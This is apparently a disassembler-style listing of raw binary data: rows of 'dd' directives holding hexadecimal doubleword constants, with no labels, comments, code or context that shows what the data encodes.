		dd 75BC005Eh, 647C7E5Fh, 3E4A1196h, 4FB0F487h, 316FBAh
		dd 95DB18CCh, 492BEE78h, 5A93C00h, 0D3913F48h, 0DF9E005Fh
		dd 0C3156199h, 9A00F4A1h, 0D2CB6F3Ch, 0A65038h,	89EC605h
		dd 0BE7E46A5h, 3B9AB207h, 0FD500314h, 0C0B513B7h, 16A25968h
		dd 2182EE6h, 65B8661Dh,	996C1D71h, 481C00E8h, 76D4498h
		dd 2C43B50Eh, 78C73CE5h, 0F3D03EBCh, 6E599D0Ch,	1F60D0CCh
		dd 6A729F8h, 0D882AD0Eh, 23E62065h, 0E55F58A0h,	3DC1BDFCh
		dd 0E9000CE3h, 3E86267Eh, 83002780h, 5C36373Bh,	128DC2Dh
		dd 0EE4DAB44h, 8090A2BDh, 26CE5898h, 5D9C03h, 0EF07235Bh
		dd 18779A3Ch, 0DA7F147Fh, 0C4B1C107h, 5270E3AFh, 80A71Fh
		dd 944996B2h, 0F3AD89D3h, 8A252F00h, 298140Bh, 1F62009Eh
		dd 0C226A795h, 9F006115h, 0E635B347h, 0FF2B10Bh, 3CBDE82Eh
		dd 907C50E0h, 0C700BAAEh, 6BBEF3CEh, 1A83F3Ah, 2018E9F5h
		dd 30476821h, 4FE47760h, 11A03Dh, 0EF2D177Eh, 0EC63831Dh
		dd 1B5E0171h, 0B92648DEh, 0D301F0F1h, 0F0EC6A17h, 2A839D1Fh
		dd 98E369DCh, 995837Eh,	84D7A5F5h, 4ADB6083h, 15A7E588h
		dd 2DC0F312h, 2C7D000h,	24B583h, 6F4A4121h, 0D042DD6Dh
		dd 0CEC53700h, 4E7727A2h, 9A07897h, 0D64B28E8h,	0D893F380h
		dd 23794211h, 973F8500h, 0A9351D0Eh, 0FE41Bh, 0E6A340BFh
		dd 77B5F708h, 8F48D1E4h, 0A1C800A4h, 185C92EDh,	4CB2036Eh
		dd 2E08FAA9h, 0A777A800h, 2268070Bh, 7867E35h, 8575FC80h
		dd 0CB329039h, 0EF907F03h, 7E33670Eh, 4600BEBBh, 8EE14851h
		dd 0D7A224DFh, 9C905EAh, 0ADD6C06Bh, 200096FBh,	751505Dh
		dd 28725Eh, 0CA66F27Ch,	0B20ED842h, 3AC6F407h, 3E209ADFh
		dd 3FE9DEh, 0C2EBCADh, 0AE2AA1CCh, 7538AB00h, 648A9913h
		dd 0D5200019h, 0E36A0A65h, 0EA4C6F5Ah, 0AE8E269Eh, 89511100h
		dd 23401CFh, 17A01F41h,	0ABC0A221h, 83079DE5h, 1632F6Ah
		dd 0EBA9D6A0h, 8613008Ah, 3E35B9E1h, 6207C40Bh,	397CC0D8h
		dd 29768FB0h, 0C315981h, 0C7434D1Dh, 90D2D4CDh,	2B7FB27Dh
		dd 6B10700h, 0AA27E5Ah,	4D9C00E8h, 1050A1E1h, 6BF071F4h
		dd 4C0014B0h, 442D2248h, 21F8F9h, 0A3D51EFAh, 6CB057CBh
		dd 0C505E00h, 6546310Dh, 10AE00F0h, 0A6A0701Eh,	63F2B916h
		dd 84CD8702h, 60A548CFh, 74F80Ch, 78C4EBB6h, 30264015h
		dd 620025F8h, 7B5B07E1h, 0B02C6C31h, 994C39DCh,	2A13A000h
		dd 346A7F3Fh, 3CA53201h, 9C74D9D8h, 0D3F8B421h,	3F9DA03Eh
		dd 5984B2B2h, 0E5076066h, 0A05B1622h, 0A607EFEDh, 8B00E477h
		dd 830AD749h, 0B27A70D6h, 68F8007Ch, 3307BDF6h,	0FC7DD06Dh
		dd 41003677h, 6112FAAh,	24945AF4h, 0C47F1Ah, 93B58F5Ch
		dd 40DC1860h, 9AFFA580h, 0C331DF56h, 0CFD24120h, 0A6F001E8h
		dd 0A5B59E00h, 0DEFAF1C2h, 31F283h, 0FE24CC99h,	6F4D49Ah
		dd 2504B20Ch, 0E2CB505Ch, 0B7830099h, 5325734h,	0A0024B1Dh
		dd 9C8E14ABh, 72280086h, 491CA208h, 0AD80E34Ah,	2ED0C64Fh
		dd 0D22300C8h, 0F60317B5h, 0A91CEC40h, 13CB00Dh, 3481B8DFh
		dd 48C0C343h, 8E6C0057h, 8DCA1CDh, 722E9BEDh, 3E01EC83h
		dd 0D7B9B405h, 2CB37180h, 577D27F8h, 497DD00h, 0F97F3D80h
		dd 0D0061E62h, 0A5B3409Bh, 0F548B2CEh, 15C70C03h, 0B8C28676h
		dd 0D50A2Dh, 83DB7540h,	0A87D3ADAh, 766B3Eh, 94412BEFh
		dd 6F21A6h, 5074328Bh, 0BF62E98Eh, 20E72324h, 976E3600h
		dd 53346940h, 407CB0F7h, 3048A78Eh, 0D826015Ch,	19D5A05Bh
		dd 0BA969030h, 0F79507C8h, 97B7CCBFh, 5AFA80E3h, 9400791Ch
		dd 7DEF7AA1h, 4B8773h, 276BBFACh, 0BD366C86h, 8B2F9E00h
		dd 0CE76F55Fh, 0E4ABFC48h, 124D046Eh, 80E51641h, 0FD08302Ch
		dd 85D2C300h, 0C89C46F8h, 324A0005h, 0DF809538h, 3005BCFh
		dd 0E97DF1B3h, 9F6842h,	8EDD2AFEh, 0E0CE4E6h, 4E093E01h
		dd 0C07BC982h, 1927A9E7h, 4A1EE820h, 394801E4h,	20E90F93h
		dd 0FEA1EC24h, 0F82F21FEh, 0CC00C1B1h, 0F7BFEDDDh, 0C9479988h
		dd 0A880E4F2h, 197FA071h, 49B5B300h, 0B6C20B8Dh, 0C7F8141Bh
		dd 0F900A866h, 864B70CDh, 841CB833h, 803CBA7Fh,	0EB346BAAh
		dd 1520B4h, 5D9A2F10h, 22DD9E6Eh, 84D3000h, 67FD182Dh
		dd 9831E219h, 0F43A01FDh, 73363DB9h, 16402892h,	6D0008BEh
		dd 0F80ED79Ah, 0DB3A00ADh
		dd 0E6E9FC10h, 76009027h, 0F06F5C37h, 85249Bh, 0F650AA35h
		dd 48A89729h, 1B092500h, 0A3FFE14Eh, 0FDB72A0Dh, 0CA8305C0h
		dd 0C0438E3Dh, 0BEC103ACh, 0CC299B2Ch, 0ADAFD900h, 904BA62Bh
		dd 5FA91ED0h, 0C8D40082h, 0FA244973h, 0E8B7D203h, 888DC33Eh
		dd 0A2CCAh, 4F54965Ch, 31A0A5B0h, 0DEBA4901h, 0AD0E9C0Ch
		dd 0C0A1420h, 0F8028A04h, 12098C11h, 81BC7FD3h,	4570E154h
		dd 536FF8h, 0D1C7724Eh,	4FD04904h, 1457DF4Ch, 30F01C1Eh
		dd 0C492F1A5h, 0F4C9A5Ch, 2104C858h, 80A0E86Ah,	201432D4h
		dd 2F072DFAh, 88100E31h, 0FB2BAB20h, 0C6CD009Fh, 0A61CF9ECh
		dd 0B7008FC3h, 1115F3EAh, 2C1BA43Eh, 8010ED7Fh,	0E409CC38h
		dd 0B312428Eh, 0AAFEA8h, 0A4C2128Bh, 5D503E94h,	0D4032AFCh
		dd 1D201B82h, 89E658h, 60B90E98h, 131EE9A7h, 0F7D480C0h
		dd 2047A64h, 54194D53h,	0DC406DC3h, 7C940516h, 88FBF560h
		dd 3B640F8Ch, 75E0142Ch, 463659CDh, 925C9100h, 15C92663h
		dd 32A0009Fh, 0A734968Fh, 0B40B1E7Eh, 814EB2EDh, 314B6EF0h
		dd 9E5FDC00h, 0F1790501h, 8B7A022Eh, 0C6E6A882h, 0A8A32A61h
		dd 12003B28h, 37E41C4Ah, 0E1C54Bh, 2D5A7C64h, 0F425FE09h
		dd 2C423Bh, 0FD7E71B4h,	9CC24Dh, 0C3D3FAE3h, 0EBC8592h
		dd 3A6C5500h, 0D12B1A2Fh, 52E400FCh, 14F0BDB9h,	6200703Dh
		dd 75F4A8B6h, 2CEE6Ah, 0AE379594h, 4B1C59F8h, 0E1A73Eh
		dd 3E6E8A79h, 1B2B8FDh,	0CE74BA47h, 0F08D16C9h,	530719ECh
		dd 6F3A3665h, 9BF47C00h, 45F60E42h, 0ED618010h,	6F39628Dh
		dd 0B7E6E0h, 8A0350F2h,	29CC093h, 0E2C0900h, 0CF623DA2h
		dd 0E5FD0316h, 0D6E67AE3h, 5672D000h, 0A5BF8D10h, 946A0153h
		dd 0DAAF6E0Ch, 8933F834h, 30DD9B00h, 0AD1E75E7h, 912A00FFh
		dd 1C45CC0Dh, 0CCF16894h, 430026F1h, 0EB852B96h, 0DA1878h
		dd 0C20CD2DBh, 9590A6BEh, 0AC6CE800h, 0D5EF407Dh, 0D1CF38FDh
		dd 3193AD00h, 9FA7FCB8h, 0D0AC6A00h, 6E4952EEh,	75E474A9h
		dd 0AAB20207h, 314C0C6h, 0BB288C80h, 0D2005071h, 0D52333D1h
		dd 74095622h, 15D3000Ch, 5E564EBh, 593078A4h, 0B1A91934h
		dd 448800C9h, 0EEF57E36h, 0ED1D3A4Ch, 0B7803E45h, 7A9081C6h
		dd 516C00F4h, 0DD238B17h, 0D51E6E32h, 2C00DF7Ch, 3C6DABDh
		dd 86FB0981h, 1B0FF7h, 655C7100h, 668F4A9Dh, 0E8BC0384h
		dd 0A7530D27h, 0EBA0EA93h, 730249DAh, 2F42E61Fh, 6CF40D4h
		dd 5F310047h, 7BAB1D0Fh, 5A00AE2Dh, 0F58194FFh,	3B582793h
		dd 0D728C744h, 65CB03DCh, 0F274029Bh, 4621B9F8h, 3DEC3A00h
		dd 0FC05CA73h, 6CE300C9h, 548E8A9Dh, 6C902790h,	0BC6E6402h
		dd 3FFB709h, 0AE4EBE4h,	1984C0B3h, 1D80A081h, 7713268h
		dd 94330EE0h, 4456B0F3h, 4A003FA3h, 86783125h, 1DF16C8h
		dd 0D9EDB613h, 0F0263A4Dh, 401E4694h, 1B428C3Dh, 0E0224567h
		dd 1FF075ABh, 0C0B7E0A3h, 29435738h, 6E00ADD3h,	8C232761h
		dd 0E5DA335h, 380EA73h,	3394C5E0h, 0E70091EFh, 0AFA1B9FFh
		dd 2CB6740Bh, 796E8Bh, 5B75FB48h, 900F237h, 0D2A5CCC0h
		dd 0AC0630h, 14E48073h,	2F8AF7Eh, 5D53FC00h, 0DB829F9Dh
		dd 2E7800CCh, 0CE19D310h, 0F0CEB42h, 0C8414ED6h, 34F938E2h
		dd 578FA200h, 0D2E820ADh, 5E69CE00h, 15B8731Fh,	65BC00D9h
		dd 1D275FACh, 763FFF9Ah, 13028B12h, 3A538041h, 2FF255h
		dd 328FE250h, 0AB5BDA5Dh, 3C175407h, 0D457CAB2h, 0EC16080Bh
		dd 581E003Ch, 2B088755h, 4E00065h, 7C853756h, 0EE00AB6Ah
		dd 6C100533h, 601571DAh, 8B25A8C4h, 0BC0B7448h,	0FCE5E1h
		dd 0C00E4EEEh, 0DC3F001Dh, 0E713DA1Bh, 620064F4h, 8661E5ABh
		dd 0BB65A3h, 4F8C2017h,	4C2BC3C0h, 5C242105h, 0A0005523h
		dd 401C567Fh, 56D0078h,	9B60D050h, 0C4CBCD8h, 803A3ABCh
		dd 65893C7Dh, 9002CDAAh, 2AEE2D0h, 6C379228h, 9C81A153h
		dd 0DE8C2B12h, 7964B068h, 0D6B30101h, 1570504Dh, 30C38420h
		dd 333EEABAh, 4500C755h, 9F4EA6A8h, 351911h, 94BECA38h
		dd 8DA53150h, 88C3DB24h, 0FF6B7900h, 0E5D21298h, 727A2F8h
		dd 0A4B95C0Bh, 5F285068h, 7029F10h, 0F2ECFFE4h,	6D2040B4h
		dd 1B57023Dh, 3B956723h, 21318F40h, 0A77C3Fh, 8F0F152Eh
		dd 0FB4C60h, 45B52FECh,	0BBC3FC75h, 822ECFECh, 0D300DBA6h
		dd 416A9DCEh, 876700B6h, 0D2BE5A59h, 0ED00E678h, 0DEE70225h
		dd 0FE1092D1h, 17700049h, 0B5F739A6h, 0E1004521h, 8B60839Dh
		dd 422774h, 3A7D611h, 50C0CAB3h, 0FCEFAC24h, 80E00B9h
		dd 3B799445h, 57900E72h, 2F20E6C6h, 469EBB3Ah, 3CC3F50Fh
		dd 56648049h, 95A9D2h, 8FC49DFBh, 39ACD143h, 5E9BFD01h
		dd 0D96F2890h, 0F7F41021h, 176844EFh, 48989900h, 0D02F1E71h
		dd 0F8E754C5h, 5C14099Bh, 189896D3h, 33122DA5h,	0E807B920h
		dd 0E910F658h, 0ECB8347Bh, 71BFA4Ah, 93F38075h,	10C9503Fh
		dd 7D50485Bh, 0BD00EFEAh, 0CCBCB927h, 5E7FACh, 0E6F3656Dh
		dd 629607B8h, 0AD05557Bh, 38B98A10h, 23089281h,	0DA1AE4h
		dd 0B6FEB0BFh, 4860CA47h, 0EA782730h, 0E34C113h, 0A2E7148Dh
		dd 10CD7002h, 2BEAC740h, 7F0CFC13h, 681A5500h, 0F8B1217h
		dd 199B44E4h, 3422D4C0h, 8003D818h, 1A901379h, 938C805Bh
		dd 0A2743Dh, 68126ED6h,	804CFC52h, 0C1A89500h, 38D0ADA7h
		dd 0C4C95027h, 6FD90070h, 1CF8C77Eh, 0A73FD7EEh, 4D04004Ch
		dd 18D02722h, 834815CEh, 0C312F044h, 64530053h,	0D0B9E5E9h
		dd 0EB30290Fh, 378CE01Ah, 2BE171h, 8E91524Bh, 0E77D7F4Dh
		dd 0AC663C00h, 0E2964CB7h, 0EF7864h, 896A19E4h,	0C27CBE54h
		dd 2FF060C0h, 1B06D9FBh, 70F69943h, 0BCBE63E0h,	44665A00h
		dd 19D9657Ah, 10945043h, 0BF113071h, 16C6A8A1h,	8AACC37h
		dd 0F5DD7071h, 0E566C3F3h, 5535B900h, 844536h, 3F08947Ah
		dd 296D20CFh, 0BEAEE502h, 80496C28h, 433171C6h,	0BF234CCEh
		dd 0B6759400h, 0BC76DC89h, 16035CE2h, 11DF3F44h, 0CD53E764h
		dd 0D99001DEh, 4251126Ch, 0F11080D0h, 0AFDCAA2Dh, 0FB2C002Eh
		dd 0DF7F5305h, 1E7E74DEh, 262178AEh, 8CBD00C2h,	0D5B2C03Ch
		dd 7C0B5C00h, 0D2F2FD8Ah, 0A8A007CDh, 40D85E37h, 0BF710C0Fh
		dd 0F3F79807h, 43C13C4Bh, 0DED017F2h, 618400F6h, 2AC17079h
		dd 9B006FBAh, 7D80969Fh, 98579737h, 0FDFA8035h,	59D023Ah
		dd 0CEAAA217h, 7D2B4C0h, 71B7CB00h, 304F589Ah, 4873BBh
		dd 5451265h, 2FD44D79h,	29008074h, 1703377Bh, 8662ECh
		dd 0E172268Ch, 0EE8E5B1Fh, 23F0C31Ch, 8FF1A14Fh, 74620104h
		dd 302460C7h, 0B10A00D7h, 7D4EA201h, 290B5F64h,	0F99ED9h
		dd 0CFA02890h, 0D5D63DFEh, 0B8252000h, 0E40A0388h, 42ABFA00h
		dd 0A9543FF9h, 0AAE30045h, 11607C53h, 490DE20h,	0BB914B00h
		dd 0F8BC2D5Ah, 22ACA127h, 488D96E8h, 9B012459h,	6A482ECCh
		dd 2229BCE8h, 836F2292h, 2296B322h, 0D022BAC6h,	857D2293h
		dd 5811F742h, 88421B1h,	0EB907C86h, 48B6CB84h, 75E780E8h
		dd 0E055498Ah, 0FE0BBE00h, 634B8422h, 0E7E17A2Bh, 65B064h
		dd 647A71DCh, 0A933D891h, 7597A703h, 0C0B3A83Dh, 0B45A43h
		dd 0A4326288h, 3E69C491h, 0FB18191Eh, 0D6C021C5h, 521D5980h
		dd 38040077h, 1A937E02h, 0CE034F9Ch, 314B3663h,	0E16D901Eh
		dd 0C1E410h, 8B82602Dh,	145FE247h, 213D700h, 86CEB524h
		dd 1E56007Dh, 0E09DC84Ah
		dd 0DF055D2Ch, 0BDE5C0DCh, 76DD7280h, 0DEFF1FF3h, 0F35C02Dh
		dd 5AE3621Dh, 72F28500h, 66C90E68h, 63A1004Ah, 5B3440CBh
		dd 0D3002189h, 0F886B107h, 0C8AE7Ah, 1F3EF449h,	6473A861h
		dd 70F0055Ch, 2300ECF2h, 446E8935h, 5AA748h, 754D02FCh
		dd 0FEDDB846h, 9D214A1Ch, 89CED582h, 871E17Eh, 9A7E2F4h
		dd 2A3E25BBh, 0EBAD3080h, 0FE00E4BEh, 52FD7D2Fh, 67E84C7h
		dd 0F42E1A34h, 79008881h, 7287AEE2h, 79B1799h, 23356A67h
		dd 0B018A4A4h, 0F5E64BB4h, 5DC61600h, 73CA45FBh, 0C76D006Fh
		dd 0BF086BCDh, 0F500A887h, 0D6DCB5E2h, 7D7ED83Ah, 828300A0h
		dd 0FF9D64D9h, 4A00D289h, 6619EDBFh, 4CF517A5h,	7722E8Bh
		dd 0C6A3EB85h, 81083E9h, 0B97078D0h, 0EF831700h, 0DA1DD54Eh
		dd 4CFE5C03h, 0F48E4C00h, 0BCD25EBDh, 19B27C00h, 0E472ACEEh
		dd 0C07000A3h, 2C263C04h, 0A43BC877h, 103B24C3h, 0B28C6100h
		dd 0F9752Eh, 76C0BE4Fh,	0D3B12F59h, 0A53F181Eh,	84CBFDC0h
		dd 9AFFA9CDh, 45F31DD4h, 0A3B3004Ah, 4DE50F06h,	18028400h
		dd 0B7FE1A72h, 2D0B1F99h, 6CE3C055h, 7D9662ACh,	1568CC01h
		dd 0DF8D809Fh, 1F232BE4h, 40B21750h, 89BD42FAh,	6B0CE431h
		dd 0A8816A2Eh, 7D520511h, 0C139639Eh, 0CA25D6CCh, 0BECEB200h
		dd 908600A4h, 0AFEBF1D3h, 0B70014D1h, 0D8200F17h, 989A1Ah
		dd 0D22BDE6Ah, 3E452FEFh, 0C3C4E000h, 35FD94C2h, 8B6C0B51h
		dd 40803A4Fh, 1A81F2DCh, 6E117E00h, 0C31DD314h,	0BA6A7676h
		dd 74D40010h, 24CCCDCAh, 261CD996h, 33003D80h, 18BFA2E4h
		dd 51F23990h, 0EF8240BEh, 5DB66A8Dh, 254E6840h,	0FFDFD700h
		dd 7D1C3A43h, 5685008Eh, 7C746A8h, 50004260h, 0F4E0A138h
		dd 0FA5E216Ch, 8AD90071h, 1C6514E1h, 0DD071E9Ah, 50C32A93h
		dd 5462A870h, 3FCA00B8h, 34D57F29h, 9C000327h, 0F2B45B55h
		dd 11BF6B2h, 0E861E95Dh, 0F5F01096h, 4024F5ECh,	2A5A21A4h
		dd 0A0C23000h, 6806E9D4h, 80A0001h, 0F583DD93h,	35000250h
		dd 7F282EA6h, 0E4A547D6h, 62702EDAh, 0B03B016Eh, 0D00AD4EEh
		dd 95016D8Eh, 0F05640D5h, 1C8F809h, 82751E3Ah, 541B4B4Dh
		dd 9DC91700h, 7207559Fh, 0D7DB2DAFh, 0D2F07C90h, 0D47500B0h
		dd 707EBE3Ch, 0B27E5192h, 4DF4FF1Dh, 60C6D140h,	0B8387CE4h
		dd 1C9D17FEh, 9490071Ah, 554310F5h, 90084D1h, 73A5A751h
		dd 0C0FA8B7Bh, 0D264E618h, 29C0A4C9h, 0CCB6B2FDh, 0DA7E0E80h
		dd 43F8DD6h, 0C0EC67C4h, 16128277h, 324F307h, 874081A5h
		dd 7A98BBFh, 0DC3B8C85h, 0F2687375h, 0C7AB1C0h,	0FA21BD26h
		dd 1F118718h, 0B0E03CCBh, 0EF97400h, 72AF59D4h,	0D046A00Bh
		dd 421E8790h, 73969970h, 0F1841E98h, 83F75F9Ch,	0CE86EA23h
		dd 85D6FE07h, 1F8187ECh, 1EE8AC53h, 5A5C078Ch, 10046C19h
		dd 6A5161AAh, 44B0B800h, 20239C2Eh, 952609B9h, 0DB801FCFh
		dd 0F5D3BCF7h, 78556300h, 9F0BA229h, 371B00D4h,	4903C6BFh
		dd 9B5C7097h, 9A13F4Dh,	58E4443h, 0B600E6A7h, 13DE72E7h
		dd 41A80907h, 803605Fh,	0E5C1593Ch, 0FCB5D47Ch,	0A4529928h
		dd 0B9D2B400h, 0F8DF72BFh, 79A3B5Eh, 4F6C919Ch,	90C065DBh
		dd 2F4B636Ah, 339FAF00h, 623E2666h, 98AD1E3Fh, 222500DEh
		dd 1C273908h, 0C6A0A500h, 7B516C2Dh, 1ECA003Fh,	0C2C136F0h
		dd 6200D37Ah, 0EEB50FA0h, 5E7FC4h, 562908E3h, 1D77755Dh
		dd 3B211F1Dh, 86E85F45h, 5CC4D000h, 0B919213h, 49190B71h
		dd 356D8303h, 87E52100h, 0B411FC0Dh, 0B4955468h, 0EFE9008Ah
		dd 4AD9F25Fh, 9F1C147Eh, 3B812C6Ch, 95731E47h, 0EEE82ED0h
		dd 0F6C500F2h, 9AF94E42h, 0E31E184Ah, 0AD0030D8h, 0BDAB32F7h
		dd 3B610013h, 5B56A6BBh, 0D300B821h, 0F4B6D181h, 0FCA5E894h
		dd 34C9059h, 17274C55h,	57BB6A15h, 6D3DA8C0h, 8A697F1Fh
		dd 2042B180h, 0DB5162h,	0D1EE85D5h, 2C61258Eh, 4F1F86F2h
		dd 7E41293Eh, 0D8020D82h, 6646F0h, 34D687A3h, 32C27016h
		dd 0CF52CE00h, 0B56171E3h, 0BD3E05D0h, 80678CCAh, 0A833CB90h
		dd 8131773Fh, 46D1C1D2h, 1DECDBF8h, 1723003Ah, 0AF2928DAh
		dd 0A4A1845Dh, 8C598012h, 77F60748h, 5680006Ch,	9CE15E68h
		dd 0E0C0ECF4h, 0F01BCD4Dh, 1520904Ch, 0CC3ABA7Dh, 74C1F2Eh
		dd 80E404BBh, 1BF99ECAh, 62570500h, 0B0890C44h,	0B32F0047h
		dd 95FF7730h, 0A030860Fh, 0DAEA8085h, 0E0254851h, 0BE816D07h
		dd 0ADA4F06Eh, 0A162CAAh, 6B004DA0h, 1F3D5AF7h,	0EE550189h
		dd 0CC381927h, 0E8A2E4D2h, 0EFBA8E00h, 1678621Ch, 67CA0073h
		dd 9DB1793Ch, 3E008AA2h, 60E47003h, 3621378h, 0B3320736h
		dd 99F0664Ch, 0C50074EEh, 0C85A5FDCh, 43C3B4h, 757CF448h
		dd 50042BAEh, 0B660F8C0h, 0FEB3C5h, 1661149Ah, 0C8546AA0h
		dd 1807E303h, 0D7D55504h, 33D30BC1h, 7A5270h, 0C162CAE1h
		dd 796B72D4h, 1CC8FD01h, 10C278FBh, 0D9C24h, 0B5DF74D8h
		dd 8E860521h, 0E3EFFE03h, 90A2686Dh, 7264442h, 4B72C62h
		dd 166770F2h, 0C5004358h, 55DA63BCh, 9406964h, 0BDE52393h
		dd 0CD6198A0h, 9D0213FBh, 51901BB6h, 1FE08042h,	0BB1520h
		dd 0E4B1B40Fh, 60A05CEFh, 0D0532714h, 3C9240B5h, 1426052Eh
		dd 8BA10E00h, 0F04BCB0h, 874DBF7Fh, 60E9D9E0h, 44F2F6CCh
		dd 55AD5700h, 8E470777h, 56AA0288h, 3A704594h, 0FCAD0448h
		dd 0A093A50Fh, 20DD00B5h, 79312Ah, 8F3498A4h, 0B337D92Fh
		dd 2B469500h, 0CAD660C5h, 0A43B3F10h, 0D22E5980h, 0F7C84F6Eh
		dd 4071EC00h, 743568A5h, 9F20Fh, 6434D73h, 0B90D0217h
		dd 328F5A13h, 0B767C440h, 0ED2273h, 66CB469Ah, 0F3F4858Dh
		dd 99038307h, 56E7651Ch, 343680B0h, 0F747130Ah,	0CDE04B07h
		dd 1449C00h, 0A1ED1B54h, 8502A468h, 4B29E00Bh, 0F7F0D858h
		dd 8E15007Eh, 0D5EFAD40h, 3009DC7h, 0EB4AB3A3h,	955AE52h
		dd 471BA6B8h, 8F4368A0h, 0E100453Ch, 0DBF5CA5Bh, 0F83DCB3h
		dd 0F06DABBAh, 0CE4ABFC0h, 5F004814h, 0A96C0EE5h, 475E3D2h
		dd 0AB536BB9h, 8D480C5h, 767103DAh, 84D0901Dh, 740DC080h
		dd 0C5915Ch, 2E9040Fh, 0E73367Bh, 17D14A07h, 0DC50F1E5h
		dd 26AF37h, 0F359F210h,	0EFE365C7h, 8AE7EA16h, 1674D30Fh
		dd 1D24C020h, 0E4BE4980h, 80795A1Ch, 8DA9D286h,	0B704ACE9h
		dd 24B39AA1h, 0C7C14D0h, 0E5D10031h, 3F510FD6h,	0EB4DD7C6h
		dd 0D0771134h, 7B424E00h, 741F9093h, 51F0B863h,	0F13BC192h
		dd 71D90970h, 0EFC11C67h, 0CB0F0066h, 8A343C62h, 1DF3700h
		dd 584D6A28h, 0C97000B3h, 2D800944h, 51002F40h,	3A554259h
		dd 8CA0E0h, 7BA12CD4h, 73CE7884h, 1ABE8600h, 9B28D19Ch
		dd 98115994h, 4E16E401h, 0D8E230C0h, 0A954FE64h, 0CD0119DCh
		dd 0C22FCE08h, 5CE8395Fh, 5E3F01D0h, 0CBF8ABC3h, 9F9A30B7h
		dd 845B4728h, 0FA0072ECh, 1A55390Ch, 50368E22h,	487E26Ah
		dd 7580AEA7h, 0C1918073h, 55000133h, 84A2655Dh,	0AE540h
		dd 0F3E6F902h, 24152AEBh, 4ECD6C00h, 0E8BC5F74h, 748D5DB0h
		dd 0E8C5728h, 1AEF1B1Fh, 0C015D004h, 393466D7h,	0E082F107h
		dd 5DE7B9BFh, 4025DF70h, 0E06C9058h, 860A02ACh,	4C9701F6h
		dd 0DAD5C899h, 0AE198200h, 74F86Dh, 9123BD64h, 4C25775Bh
		dd 803EFB38h, 0A85D9841h, 12C56F9h, 515965FDh, 0C804C7B0h
		dd 26004001h, 144E812Eh, 69E0B8h, 61835222h, 5B01C621h
		dd 651B1009h, 85F681A1h
		dd 0F0C4F73Bh, 91AC001Eh, 15E37CFEh, 620E4246h,	0C0CD96C2h
		dd 0AB86D939h, 77ED1318h, 711E79h, 0CF99AE35h, 0B760F498h
		dd 0B6C45321h, 0F0FE0001h, 0CED7FFD6h, 5DB8DAD5h, 0FA2D6E00h
		dd 33639E09h, 5F7B37h, 6A4F01E9h, 48B73E92h, 0A4314001h
		dd 0F714AF6Eh, 65D720h,	7FD12C8Eh, 7AFFAAEFh, 0F12EB3Eh
		dd 808D3505h, 91EC5872h, 0F3FA0094h, 0A803A981h, 50002D3Ah
		dd 353BE64Eh, 9864F270h, 1ADE00F2h, 0E37857C8h,	0F37A9669h
		dd 6490E00h, 0D23DCAF4h, 54BB0639h, 0BEDE3620h,	1677AF00h
		dd 0D0DC637Ch, 1274F0D5h, 0E0657E1Ah, 75F6E464h, 0AD19F600h
		dd 0D33644F0h, 0F927075Bh, 20B8DC65h, 28DBBC77h, 4C33B50Eh
		dd 86214016h, 3B1A1A8h,	4FF9593Ch, 18C85864h, 19054348h
		dd 96466A14h, 2B62C000h, 0A97152h, 72249580h, 65574548h
		dd 0F9348B00h, 0AB8ACDB1h, 40800D6h, 132B95DFh,	5EFE89F8h
		dd 0B8B7BD00h, 0A3C26394h, 691A00E5h, 0AD37A876h, 6A003574h
		dd 3F28F4E8h, 32C6368h,	0A43C78A0h, 9038241Fh, 2646AE7Ah
		dd 2A76B300h, 9E5FBEh, 4493E926h, 0F33F50DBh, 0F207A200h
		dd 2FBE8D60h, 77B8C0A7h, 0A5B5F7D5h, 2DDEE0Fh, 89246055h
		dd 0EE54507h, 0BD0878E8h, 0F536500h, 3007A243h,	0A540EBCh
		dd 0AE241A40h, 75CA0FD5h, 9AE0B13Fh, 0D8390571h, 0D9C45400h
		dd 9F389E5Ah, 17A78B9h,	9D3C2069h, 0D01D2151h, 0F0E35CAh
		dd 408E7C97h, 0EEE75E81h, 0B18300C0h, 82D1B614h, 402D818h
		dd 67E87D8Ch, 0FD1040B8h, 57C41CB5h, 0A7E3C055h, 6DB0B405h
		dd 0E0CE5F00h, 0CB95790Bh, 73119050h, 0BE270015h, 196BD38h
		dd 0C43D5B85h, 88B80EC3h, 106CE7DFh, 0C0FF55F0h, 0B6AE007Bh
		dd 25802E17h, 5400F7D7h, 0A753477h, 0C828A5h, 0D4BDD392h
		dd 7EB4CAA4h, 3F4AC600h, 0B1D7A114h, 173E001Bh,	4D253A83h
		dd 0BA00C1B4h, 50797D84h, 0F065AF0h, 18FD807Ch,	4E47E660h
		dd 190171C8h, 0E7E1D357h, 4520DE9Bh, 0F8B0951h,	71817D1Ah
		dd 0D013F349h, 0A600B6AFh, 0DA07AEECh, 72B09Bh,	0B9500FE1h
		dd 39C3A31Eh, 4A00E6ECh, 0C1DBEB41h, 3DE9D47Bh,	8081F67Eh
		dd 56AC12A2h, 701DC0DDh, 0E5114400h, 766DDEFFh,	0D0650092h
		dd 0B19BAB95h, 34F833BBh, 0B3004CECh, 92F9FD55h, 1EEFE778h
		dd 4798537Ch, 60B0BBDCh, 82AD732Ch, 8326EA74h, 6200782Dh
		dd 0DE84C03h, 243201A7h, 0CD53FC35h, 3BA824BFh,	789295Ch
		dd 5B36DFB6h, 0A9AC2570h, 3DD400B2h, 9728225Ch,	7C73A3C6h
		dd 0ADB35300h, 0C74C69F1h, 58EC289Eh, 8820F1C5h, 40EA02FDh
		dd 865D0417h, 42EFE360h, 88E91631h, 1440B22Ch, 1DB066EEh
		dd 69EEF56h, 18DB316Ah,	1076EC30h, 30B53E7Ch, 6920F287h
		dd 0E01E66ADh, 3BB7D10h, 67AB6D29h, 8B5800E7h, 6EF54961h
		dd 96008685h, 26E55CB0h, 0F259FC17h, 407E6955h,	122F00A0h
		dd 33EA9E36h, 671DD400h, 0EFFB38EEh, 0AB6E0034h, 0A8E80BBCh
		dd 80048C65h, 0A09ED61h, 6C52C781h, 1EBC5BD8h, 8B6B89h
		dd 48F081D6h, 0DF007F97h, 0CE6478B5h, 9057B20Ch, 73E07CDh
		dd 9394E421h, 0C5B85FFBh, 1E005BAAh, 4F10B803h,	3C1DB05Eh
		dd 13803F72h, 0FCECDA9Ch, 0A8EEA0D8h, 2705D300h, 12D6D4BFh
		dd 0E1F03BBh, 0FFB2F5B3h, 0B438CAF8h, 2FC9FB04h, 9CC086DBh
		dd 0E0ECF790h, 0FDFC0055h, 4EB5F95Bh, 3A0098E4h, 505DB7BEh
		dd 0D5426h, 60FF5FDDh, 7407EB6Fh, 0EA068700h, 0BC1CAB8h
